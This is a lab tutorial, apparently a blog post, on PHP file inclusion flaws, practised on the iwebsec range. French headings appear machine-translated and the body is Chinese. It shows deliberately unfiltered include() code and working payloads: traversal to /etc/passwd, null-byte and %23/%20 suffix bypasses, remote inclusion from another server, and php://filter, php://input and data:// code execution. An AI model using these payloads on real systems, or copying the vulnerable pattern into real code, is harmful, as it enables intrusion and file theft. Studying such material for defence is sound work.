Sécurité Web : Le fichier contient un test de vulnérabilité (pour empêcher les pirates d'exploiter cette vulnérabilité.)

Sécurité Web : le fichier contient des tests de vulnérabilité.

Les failles contenues dans le fichier sont que les programmeurs utilisent certaines fonctions incluses (telles que : langage de développement php, include(), include_once(), require_once(), etc.) afin de faciliter leur propre cadre de développement lors du développement du site Web, et inclure les fonctions Les variables dans le fichier ne font pas de filtrage ou de restriction, de sorte que l'utilisateur peut contrôler les données envoyées au serveur, ce qui fait que le fichier contient une faille.

---

Table des matières:

Sécurité Web : le fichier contient des tests de vulnérabilité.

Le fichier contient les règles d'exécution de la vulnérabilité :

 Le fichier contient des tests de vulnérabilité :

(1) Le fichier local contient .

(2) Le fichier local contient le contournement.

(3) Le fichier distant contient .

(4) Le fichier distant contient le bypass .

(5) php // pseudo-protocole de filtre.

(6) php // pseudo-protocole d'entrée.

(7) Utilisation du pseudo-protocole File://.

(8) pseudo-protocole data://.

---

Le fichier contient les règles d'exécution de la vulnérabilité :

文件包含漏洞可以怎么理解，就是一个 A 文件包含着另一个 B 文件，将包含着 B 文件里面的内容，
以这个网站的脚本代码 去执行（如果你的网站是php就是php去执行文件里面的内容，如果你的网站是
python，那就是python去执行文件里面的内容）

测试使用的靶场是：iwebsec 靶场

搭建过程：https://tianyuk.blog.csdn.net/article/details/130341391

---

Le fichier contient des tests de vulnérabilité :

(1) Le fichier local contient .

原理：本地文件包含是通过浏览器包含Web服务器上的文件，这种漏洞是因为浏览器包含文件时没有
进行严格的过滤，导致允许遍历目录的字符注入浏览器中，然后进行执行.

代码审计：

<?php
	if(isset($_GET['filename'])){            // 可以查看没有进行任何过滤
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>

测试代码：(读取服务器中的 test.tst 文件，然后成功执行了文件中的代码.)

?filename=test.txt

测试代码：(如果不知道，服务器中的文件在哪，则使用../../../../../)(可以多加几个../)
然后再重新从一个文件，一步一步进行查看.

?filename=../../../../../etc/passwd

---

(2) Le fichier local contient le bypass .

代码审计：

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");        //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>

绕过限制指定后缀的方法：使用(%00)进行截断.

测试代码：

?filename=test.txt%00 

测试代码：

?filename=../../../../../etc/passwd%00

---

(3) Le fichier distant contient .

远程文件包含就是通过URL的形式包含的其他服务器上面的文件，从而使目标主机执行恶意代码攻击.

代码审计：

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                //可以看见没有任何过滤，可以直接远程包含攻击
	}else{
		exit();
	}
?>

测试代码：(添加另一个服务器的文件链接)

?filename=http://192.168.0.105:801/bgxg.txt

---

(4) Le fichier distant contient le bypass .

代码审计：

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");         //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>

绕过限制指定后缀的方法：

(1) # 绕过 (%23)
 
(2) 空格 绕过 (%20)

测试代码：(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%23

测试代码：(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%20

---

(5) php // pseudo-protocole de filtre.

php://filter 是一种元封装器，是PHP中特有的协议流，设计用于数据流打开时的筛选过滤应用，常用于读取文件.

代码审计：

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>

测试代码：

?filename=php://filter/convert.base64-encode/resource=文件路径

---

(6) php // pseudo-protocole d'entrée.

php//input任意代码执行；这种伪协议用于读取原始的 HTTP POST 数据，可以用于处理上传的文件和表单数据.

代码审计：

代码 1： (如果是 GET 方式，php://input 就可以用了)

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>

代码 2:(如果是 POST 方式，php://input 就不能用了)

<?php
    echo file_get_contents("php://input");
?>

测试代码：

?filename=php://input 

<?php phpinfo(); ?>        //显示服务器信息.

---

(7) Utilisation du pseudo-protocole File://.

代码审计：

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>

测试代码：(?filename=file:///文件路径)

?filename=file:///etc/passwd

---

(8) pseudo-protocole data://.

主要用于数据流的读取，如果传入的数据是PHP代码，就会执行任意代码.

?filename=data://text/plain;base64,(base64编码后数据)

<?php phpinfo();?>         base64编码后       PD9waHAgcGhwaW5mbygpOz8+

base64编码 在线工具：https://c.runoob.com/front-end/693/

然后再把 +  url编码 变为 %2b

测试代码：

?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b